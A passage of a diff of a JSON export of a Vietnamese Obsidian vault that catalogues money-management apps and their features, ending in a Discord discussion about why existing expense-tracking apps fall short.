năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "5z" }, { - "Tiêu đề": "Momo", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/App quản lý chi tiêu/Momo", + "Tiêu đề": "Nhập liệu bằng giọng nói", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập liệu bằng giọng nói", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng:: [[Nhập được trên điện thoại]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Phân loại tự động theo mô hình ngôn ngữ lớn]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Không sao chép được dễ dàng]]\r\nTính năng:: [[Miễn phí]]\r\nTính năng:: [[Chỉ có vài trường cơ bản]]\r\nTính năng:: [[Trả tiền để làm phân loại]]\r\nTính năng:: [[Tự động lấy thông tin giao dịch ngay lúc quẹt mã]]\r\nTính năng:: [[Tích hợp được với ngân hàng]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\n\r\nTất cả người dùng tham gia làm nhiệm vụ **phân loại các giao dịch “chưa phân loại”**, chắc chắn sẽ nhận được quà ăn uống siêu xịn, cùng cơ hội trúng đậm tiền mặt 10K và giải thưởng đặc biệt mỗi tuần:\r\n\r\n| **Thời gian** | **Mốc trúng thưởng** | **Quà trúng thưởng** |\r\n| ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------- | --------------------------------------------------------------- |\r\n| 04/07 - 21/07 | Có tham gia chương trình | Thẻ quà ăn uống từ Boost Juice, ToCoToCo, Chickita, Veganizta,… |\r\n| 🎁 Tuần 1 (04/07 - 07/07) | 1.000 khách hàng có Giao dịch phân loại hợp lệ (*) sớm nhất có đuôi mã giao dịch đặc biệt (**) | Bao lì xì 10.000Đ |\r\n| Khách hàng thứ 666 trong danh sách 1.000 khách hàng bên trên. | Bao lì xì 5 triệu đồng | |\r\n| 🎁 Tuần 2 (08/0714/07) | 1.000 khách hàng có Giao dịch phân loại hợp lệ (*) sớm nhất có đuôi mã giao dịch đặc biệt (**) | Bao lì xì 10.000Đ |\r\n| Khách hàng thứ 666 trong danh sách 1.000 khách hàng bên trên. | 01 chỉ vàng SJC | |\r\n| 🎁 Tuần 3 (15/0721/07) | 1.000 khách hàng có Giao dịch phân loại hợp lệ (*) sớm nhất có đuôi mã giao dịch đặc biệt (**) | Bao lì xì 10.000Đ |\r\n| Khách hàng thứ 666 trong danh sách 1.000 khách hàng bên trên. | 01 Điện thoại iPhone 15 | |\r\n\r\n## (*) Định nghĩa Giao dịch phân loại “hợp lệ”\r\n\r\n**1.** Là các giao dịch c**ó giá trị tối thiểu là 10.000Đ, chưa được phân loại bởi hệ thống MoMo.**\r\n\r\n**2.** Đối với giao dịch Chuyển tiền (từ MoMo tới MoMo hoặc từ MoMo tới tài khoản ngân hàng), các giao dịch hợp lệ là giao dịch đầu tiên diễn ra trong chương trình của 1 cặp người chuyển-nhận.\r\n\r\n*Ví dụ: Bạn chuyển tiền 02 lần tới người nhận A và phân loại các giao dịch đó, hệ thống sẽ chỉ ghi nhận bạn có 01 Giao dịch “hợp lệ”*\r\n\r\n**3.** Đối với trường hợp nhiều người cùng chuyển và phân loại giao dịch tới 1 người nhận (ví dụ: quán ăn), giao dịch “hợp lệ” là giao dịch **mà danh mục phân loại của bạn phải giống danh mục được các người dùng khác tại MoMo phân loại nhiều nhất.** \r\n\r\n*Ví dụ: Một quán ăn nhận nhiều giao dịch chuyển tiền và được người dùng phân loại nhiều nhất là “Ăn uống”, nếu bạn cũng phân loại “Ăn uống”, giao dịch được tính là hợp lệ để nhận quà; nếu bạn phân loại là “Nhà cửa” - giao dịch của bạn sẽ không được tính là hợp lệ. Điều kiện này để đảm bảo **phân loại giao dịch chính xác** và **khuyến khích sử dụng đúng cách** sản phẩm trên MoMo.*\r\n\r\n## (**) Giao dịch được phân loại có 3 số cuối đuôi mã giao dịch đặc biệt\r\n\r\nLà các giao dịch được phân loại hợp lệ (*) có đuôi 3 chữ số cuối ở Mã Giao Dịch trùng với 3 số cuối giải 2 tỷ của **xổ số kiến thiết tỉnh Kiên Giang** ngày chủ nhật mỗi tuần, tính từ thứ 2 tới chủ nhật hàng tuần. Kết quả xổ số các ngày 7/7, 14/7, 21/7, được cập nhật tại Website: **https://nld.com.vn/ket-qua-xo-so-hom-nay.html**\r\n\r\n**Phân loại càng nhiều, cơ hội rinh giải thưởng lớn càng cao.** Tranh thủ tham gia ngay!\r\n\r\n## Hướng dẫn cách làm nhiệm vụ phân loại giao dịch\r\n\r\n![step0](https://homepage.momocdn.net/img/momo-amazone-s3-api-240705091303-638557675838648918.jpg)\r\n\r\n![step1](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)\r\n\r\n![step2](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)\r\n\r\n1\r\n\r\nChọn “Nhận quà ngay” ở cuối màn hình này\r\n\r\n2\r\n\r\nMàn hình sẽ xuất hiện các giao dịch chưa được phân loại ở “Sổ chi tiêu”\r\n\r\n3\r\n\r\nBấm vào thẻ danh mục và Lựa chọn các danh mục phù hợp để phân loại cho chi tiêu của bạn.\r\n\r\nHoặc, bạn cũng có thể phân loại giao dịch “Chưa phân loại” tại các tính năng khác có trên Quản Lý Chi Tiêu\r\n\r\n## Điều kiện điều khoản:\r\n\r\n- Chương trình chỉ áp dụng cho khách hàng MoMo nhận được thông báo trên ứng dụng MoMo, đã định danh tài khoản MoMo theo quy định của Ngân hàng Nhà nước trước khi tham gia chương trình, đang duy trì liên kết MoMo với tài khoản Ngân hàng trong suốt thời gian diễn ra chương trình.\r\n- Phần thưởng sẽ được trả trực tiếp vào Túi Thần Tài của khách hàng hoặc tại mục Ưu đãi > Quà của tôi trong vòng 7 ngày làm việc kể từ khi kết thúc chương trình. Riêng các phần quà giải đặc biệt sẽ được trả trong vòng 45 ngày làm việc kể từ khi kết thúc chương trình.\r\n- Giải thưởng 01 chỉ vàng SJC sẽ được quy đổi sang giá trị tiền mặt tương đương cố định (7.500.000 VNĐ), giải thưởng 01 iPhone 15 sẽ được quy đổi sang giá trị tiền mặt tương đương cố định (20.000.000 VNĐ) để trao thưởng cho khách hàng\r\n- MoMo có quyền thu hồi/ngừng áp dụng ưu đãi đối với trường hợp có dấu hiệu gian lận hoặc lợi dụng chương trình khuyến mãi để trục lợi.\r\n- Nếu xảy ra tranh chấp quyền lợi, quyết định của MoMo là quyết định cuối cùng\r\n- Chương trình có thể kết thúc sớm hơn dự kiến nếu hết ngân sách khuyến mãi.\r\n- Chương trình không áp dụng cho Khách hàng nằm trong danh sách hạn chế nhận ưu đãi của MoMo\r\n\r\nhttps://www.momo.vn/tin-tuc/khuyen-mai/lam-nhiem-vu-phan-loai-giao-dich-100-co-qua-0d-6156\r\n", + "Toàn bộ nội dung": "Đáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n\r\n![Hisaab - A speech recognition based expense tracker - YouTube](https://youtu.be/mpWJ5klEHBU?si=xL5_y48jyk1zvQWo)\r\n[https://ibearsoft.com/talking-bills/](https://ibearsoft.com/talking-bills/ \"https://ibearsoft.com/talking-bills/\")\r\n![Voice Expense Tracker Demo - YouTube](https://youtu.be/yRCpRKB77Go?si=93ebG1BaD-FGFLAc)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "5-" }, { - "Tiêu đề": "MoneyLover", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/App quản lý chi tiêu/MoneyLover", + "Tiêu đề": "Nhập liệu được bằng file text", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập liệu được bằng file text", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng:: [[Nhập được trên điện thoại]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Không sao chép được dễ dàng]]\r\nTính năng:: [[Freemium]]\r\nTính năng:: [[Tích hợp được với ngân hàng]]\r\nTính năng:: [[Chỉ có vài trường cơ bản]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n", + "Toàn bộ nội dung": "Đáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Điều khiển dễ dàng bằng bàn phím]]\r\nĐồng thời có thêm tính năng:: [[Dùng được trên CLI]]\r\nĐồng thời có thêm tính năng:: [[Dữ liệu chương trình lưu dưới dạng tập tin]]\r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]],\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "5_" }, { - "Tiêu đề": "PiPu", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/App quản lý chi tiêu/PiPu", + "Tiêu đề": "Nhập liệu được trên Google Keep", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập liệu được trên Google Keep", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng:: [[Nhập liệu được trên Telegram]]\r\nTính năng:: [[Nhập được trên máy tính]]\r\nTính năng:: [[Nhập được trên web]]\r\nTính năng:: [[Nhập được trên điện thoại]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Có người hỗ trợ sâu]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nTính năng:: [[100k mỗi tháng|100k/tháng]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\n![4 bài học nhớ đời khi lần đầu kinh doanh sản phẩm số - YouTube](https://www.youtube.com/watch?v=hta693y_BaY)\r\n", + "Toàn bộ nội dung": "Đáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên điện thoại]]\r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Nhập được trên web]]\r\nĐồng thời có thêm tính năng:: [[Nhập liệu bằng giọng nói]]\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "60" }, { - "Tiêu đề": "figr", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/figr", + "Tiêu đề": "Nhập liệu được trên Telegram", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập liệu được trên Telegram", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n[figr.app - Your notepad calculator](https://www.figr.app/)", + "Toàn bộ nội dung": "Đáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên điện thoại]]\r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Nhập được trên web]]\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-02T10:39:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "61" }, { - "Tiêu đề": "Beancount", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/Kế toán/Beancount", + "Tiêu đề": "Nhập được bằng tập tin bảng tính", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập được bằng tập tin bảng tính", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng:: [[Nhập liệu được bằng file text]]\r\nTính năng:: [[Nhập được trên máy tính]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Tạo query phức tạp được]]\r\nTính năng:: [[Dùng được trên CLI]]\r\nTính năng:: [[Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác]]\r\nTính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nTính năng:: [[Dữ liệu chương trình lưu dưới dạng tập tin]]\r\nTính năng:: [[Điều khiển dễ dàng bằng bàn phím]]\r\nTính năng:: [[Thêm được nhiều trường phân loại]]\r\nTính năng:: [[Là phần mềm tự do]]\r\nTính năng:: [[Miễn phí]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\nDemo: [Income Statement - Example Beancount file](https://fava.pythonanywhere.com/example-beancount-file/income_statement/)\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Có GUI]]\r\nĐồng thời có thêm tính năng:: [[Tạo query phức tạp được]]\r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nĐồng thời có thêm tính năng:: [[Thêm được nhiều trường phân loại]]\r\nĐồng thời có thêm tính năng:: \r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "62" }, { - "Tiêu đề": "Misa", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/Kế toán/Misa", + "Tiêu đề": "Nhập được trên máy tính", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập được trên máy tính", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng:: [[Nhập được trên máy tính]]\r\nTính năng:: [[Nhập được bằng tập tin bảng tính]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Phân loại tự động theo mô hình ngôn ngữ lớn]]\r\nTính năng:: [[Có người hỗ trợ sâu]]\r\nTính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nTính năng:: [[Xuất được kết quả ra dạng bảng tính]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Thêm được nhiều trường phân loại]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\n\r\nMisa áp dụng ChatGPT để phân loại hoá đơn đầu vào thành hàng hoá, thành phẩm, nguyên vật liệu, dịch vụ\r\n

    [MISA ASP] Tự động hạch toán hóa đơn đầu vào dựa trên việc ứng dụng công nghệ AI, Chat GPT, Big Data from MISA JSC on Vimeo.

    \r\n\r\n\r\n\r\n", + "Toàn bộ nội dung": "Loại chương trình:: [[Template thu chi trên Excel]]\r\nLoại chương trình:: [[Chương trình kế toán]]\r\nLoại chương trình:: [[Chương trình phân loại dữ liệu tự động]]\r\n\r\nĐáp ứng cho việc:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "63" }, { - "Tiêu đề": "SaveDi", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/SaveDi", + "Tiêu đề": "Nhập được trên web", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập được trên web", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng:: [[Nhập được trên máy tính]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nTính năng:: [[Xuất được kết quả ra dạng bảng tính]]\r\nTính năng:: [[Chỉ có vài trường cơ bản]]\r\nTính năng:: [[Thêm được nhiều trường phân loại]]\r\nTính năng:: [[Freemium]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n[SaveDi v1.0 - Google Sheets](https://docs.google.com/spreadsheets/d/1tsGtsqxDQQ0KqBAotiEunys9wQbAJNbkmIg7iC4n3J0/edit#gid=964331749)\r\n", + "Toàn bộ nội dung": "Đáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "64" }, { - "Tiêu đề": "Soulver", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/Soulver", + "Tiêu đề": "Nhập được trên điện thoại", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập được trên điện thoại", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n[Soulver 3 - Notepad Calculator App for Mac, iPad & iPhone](https://soulver.app/)", + "Toàn bộ nội dung": "Đáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng:: [[Nhập liệu bằng giọng nói]]\r\nLoại chương trình:: [[Chương trình ghi chép thu chi cá nhân]]\r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-02T10:39:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "65" }, { - "Tiêu đề": "Trấn Kỳ (quang cảnh thị trường)", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/Trấn Kỳ (quang cảnh thị trường)", + "Tiêu đề": "Tự động lấy thông tin giao dịch ngay lúc quẹt mã", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Tự động lấy thông tin giao dịch ngay lúc quẹt mã", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng:: [[Nhập liệu được trên Google Keep]]\r\nTính năng:: [[Nhập liệu được bằng file text]]\r\nTính năng:: [[Nhập được trên máy tính]]\r\nTính năng:: [[Nhập được trên web]]\r\nTính năng:: [[Điều khiển dễ dàng bằng bàn phím]]\r\nTính năng:: [[Nhập được bằng tập tin bảng tính]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Phân loại tự động theo quy luật]]\r\nTính năng:: [[Dùng được trên CLI]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác]]\r\nTính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nTính năng:: [[Xuất được kết quả ra dạng bảng tính]]\r\nTính năng:: [[Xuất được kết quả ra dạng văn bản thuần]]\r\nTính năng:: [[Thêm được nhiều trường phân loại]]\r\nTính năng:: [[Miễn phí]]\r\nTính năng:: [[Tạo query phức tạp được]]\r\nTính năng:: [[Là phần mềm tự do]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\nLàm sao để đưa VNPAY vào luồng hoạt động của cửa hàng?: https://doi-thoai.deno.dev/VNPAY.discordQC#c2.1\r\n\r\nXem thêm:: [[Trấn Kỳ]]\r\n\r\n## Nơi thảo luận\r\n![](https://i.imgur.com/TDK2yri.png)", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên điện thoại]]\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "66" }, { - "Tiêu đề": "Bất cập của các app quản lý tiền hiện có", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/Bất cập của các app quản lý tiền hiện có", + "Tiêu đề": "Điều khiển dễ dàng bằng bàn phím", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Điều khiển dễ dàng bằng bàn phím", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "chưa kể với các giao dịch đặc biệt như bản thân e, 1 debt multi transaction, 1 debt tạo multi debt tạo multi payment,…. nó ko thể dùng app đơn giản để làm đc.\r\nodoo ko link project với task management đc?\r\n\r\nem có nói anh rồi đó, e fai research + rất cân nhắc mới nói anh option tự build thế này. đến khi vài bữa sử dụng xong anh sử dụng lại các apps trên thị trường là a thấy sự bất cập ngay\r\nOoker — 07/23/2023 2:27 PM\r\nthì anh muốn biết là những cái này nó bất cập thế nào\r\nKendy — 07/23/2023 2:29 PM\r\nhôm nay là ngày thứ 15th của tháng, tiền khám của con còn bao nhiêu? apps nào sẽ trả lời cho a câu hỏi thế này\r\nngày mai mở mắt dậy, a cần scheduled bao nhiêu tiền cho các task gì và các transaction gì? app nào có thể làm đc như vậy anh\r\nkey point là gì: các apps rất tuyệt trong việc collect datas ⇄ Capture Input\r\nnhưng cái em cần, rất rất thực tế là Use datas ⇄ Dùng được Output\r\nviệc ghi chép hay hoạch định sẽ vô nghĩa nếu nó ko được query và lay on monitor\r\nKendy — 07/23/2023 2:34 PM\r\nđây là điều mà e cố giải thích cho anh đấy, thị trường cho anh 1 loạt các apps rất tuyệt về input, nhưng ko có 1 solution nào cho 1 output đúng nghĩa có thể custom được\r\nOoker — 07/23/2023 2:34 PM\r\nexcel hay access ko đc à?\r\nKendy — 07/23/2023 2:34 PM\r\nđược chứ\r\nOoker — 07/23/2023 2:35 PM\r\nvậy sao ko dùng?\r\nKendy — 07/23/2023 2:35 PM\r\nvì nhu cầu của em quá advanced\r\ne ko thể cứ dùng filter mỗi prompt query được\r\nnhư google hay excel a sẽ chỉ dùng đc filter để query từ 1 loạt condition để ra kq. và nó rất bất tiện khi e có nhiều cái cần query\r\nOoker — 07/23/2023 2:36 PM\r\nvậy thì access?\r\nKendy — 07/23/2023 2:36 PM\r\nbỏ ngay, UI UX xấu\r\nOoker — 07/23/2023 2:37 PM\r\nnhưng nó cho em kết quả?\r\nKendy — 07/23/2023 2:37 PM\r\nvẫn có các alternative khác, e ko muốn dành thời gian cho 1 thứ có thể bị out date\r\nOoker — 07/23/2023 2:37 PM\r\nví dụ?\r\nKendy — 07/23/2023 2:38 PM\r\nairtable\r\nnotion\r\ntaskade\r\nclickup\r\nOoker — 07/23/2023 2:38 PM\r\ntại sao mấy cái đó thay thế được access?\r\nKendy — 07/23/2023 2:39 PM\r\naccess ko có API a\r\nhồi đó integrate cũng là 1 cái gì đó rất cân nhắc vì nó liên quan đến automation (Zapier, make)\r\nnên e sẽ ưu tiên các thằng trên hơn là 1 ông lớn ko chịu update theo thời cuộc\r\nOoker — 07/23/2023 2:42 PM\r\nsao em biết nó ko có api?\r\nKendy — 07/23/2023 2:43 PM\r\nhồi đó ko có\r\nAPI chỉ rộ lên gần đây thôi, chứ đợt trước đó e cân nhắc lắm, vì ông nào cũng giữ mình\r\nOoker — 07/23/2023 2:45 PM\r\nlúc có airtable là đã có api lâu rồi mà?\r\nKendy — 07/23/2023 2:45 PM\r\ne nhớ cách đây 4 năm nó mới bắt đầu rộ api trong airtable\r\ncơ bản hồi đó hạn chế lắm, có nhưng ít có apps nào triển khai nhiều\r\nmà cái hồi đó em nhắm tới là automation, chính xác là no code automation\r\nmà thằng access thì ko match vs cái nhu cầu trên của e\r\nKendy — 07/23/2023 2:48 PM\r\nnghĩa là em ko muốn đóng vai trò nhập liệu, e chỉ muốn nó tự nhập và em chỉ xem số liệu → evaluate thôi\r\nOoker — 07/23/2023 2:52 PM\r\naccess ko làm đc à?\r\nko có cái nào là no code đâu. Nếu no code thì ko có tuỳ chỉnh nâng cao được rồi \r\nKendy — 07/23/2023 2:53 PM\r\nobsidian tát thẳng mặt đấy\r\nbắt học 1 đống, query, js, metadata, 